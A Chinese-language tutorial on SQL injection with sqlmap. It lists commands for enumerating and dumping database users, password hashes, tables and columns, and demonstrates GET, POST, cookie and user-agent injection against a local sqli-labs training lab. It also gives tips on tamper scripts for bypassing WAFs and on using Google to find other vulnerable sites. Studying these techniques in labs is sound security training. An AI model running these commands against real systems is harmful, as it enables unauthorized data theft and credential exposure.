Pangolin(穿山甲)
SQLmap
需要在python27的环境下运行。
打开sqlmap命令行,如果python27没有装在环境变量中,需要先敲python调用,再输入sqlmap命令。
常用命令:
1.判断当前用户是否是dba:
python sqlmap.py -u "url" --is-dba
2.--users:列出数据库管理系统用户:
python sqlmap.py -u "url" --users
3.--passwords:数据库用户密码(hash)
python sqlmap.py -u "url" --passwords
python sqlmap.py -u "url" --passwords -U sa
4.查看用户权限
python sqlmap.py -u "url" --privileges
python sqlmap.py -u "url" --privileges -U postgres
5.--dbs可以利用的数据库
python sqlmap.py -u "url" --dbs
6.--tables列数据库表
python sqlmap.py -u "url" --tables -D "db_name"
-D:指定数据库名称
7.--columns查看列名
python sqlmap.py -u "url" --columns -T "table_name" -D "db_name"
8.--dump -C "column1_name,column2_name,column3_name" 查询字段数据
python sqlmap.py -u "url" --dump -C "column1_name,column2_name" -T "table_name" -D "db_name"
实战演示:
get型:
以sql-labs中的Less 1为例。
在sqlmap命令行输入
sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1"
回车执行,其中会有很多数据交互。
执行完成后可以看到哪里存在漏洞,sqlmap跑的时候所运用的注入类型及语句,还有输出结果的保存位置。
当下次测相同url时,会直接读取之前保存的输出结果,如果想要看过程,可以去保存位置删除之前的输出结果。
爆数据库,输入:
sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" --dbs
爆表,例如指定数据库为dvwa,输入
sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa --tables
爆字段,例如指定数据库为dvwa,指定表为users,输入
sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa -T users --columns
爆内容,例如指定数据库为dvwa,指定表为users,指定字段为user和password,输入
sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-1/?id=1" -D dvwa -T users -C user,password --dump
post型:
以sql-labs中的Less 18为例。
使用burpsuite代理抓包并且关闭拦截,在本关随便输入一组用户名和密码,点击提交后在burpsuite的历史记录中找到请求的数据包,将post传递的参数复制。
在sqlmap命令行输入
sqlmap.py -u "http://192.168.18.11/sqli-labs-master/Less-18/" --data "uname=admin&passwd=password&submit=Submit"
回车执行。
类似:
- cookie注入时,抓包复制cookie值,--cookie "cookie值"即可,适用于Web应用需要登录的时候,直接抓包获取cookie值,cookie中含有登录态信息。
- user-agent注入时,抓包复制user-agent值,--user-agent "user-agent值"即可。
- risk和level参数都有4个级别,级别越高测试的范围越大,例如可以包括数据头部注入,以及使用or等函数进行注入,导致可能会修改原有数据库的数据。
- 如果知道大概是什么注入类型,可以使用--technique来指定注入类型。
- 暴力破解Access数据库时有可能跑不出表和密码,可以使用--common-tables和--common-columns来指定字典进行爆破,不指定的话默认使用sqlmap自带字典。
- -g可以使用Google搜索引擎在互联网上搜索具有相同类型漏洞的站点。
- --prefix可以在命令中添加注入时用到的前缀。
- --suffix可以在命令中添加注入时用到的后缀。例如使用AND ('1'='1进行闭合,这样执行后就会变成AND ('1'='1')。
- --time-sec可以设定延迟注入的时间。
- --tamper可以修改注入数据,通过调用写好的脚本绕过waf的过滤,利用脚本中将and替换为anandd,即可以使用双写绕过and的过滤。
- tamper详解链接:https://www.freebuf.com/sectool/179035.html
- 脚本开头都设有优先级函数,如果--tamper调用了多个脚本,会根据优先级,执行优先级最高的脚本,如果要调用的脚本都生效,可以将调用的脚本改为相同优先级。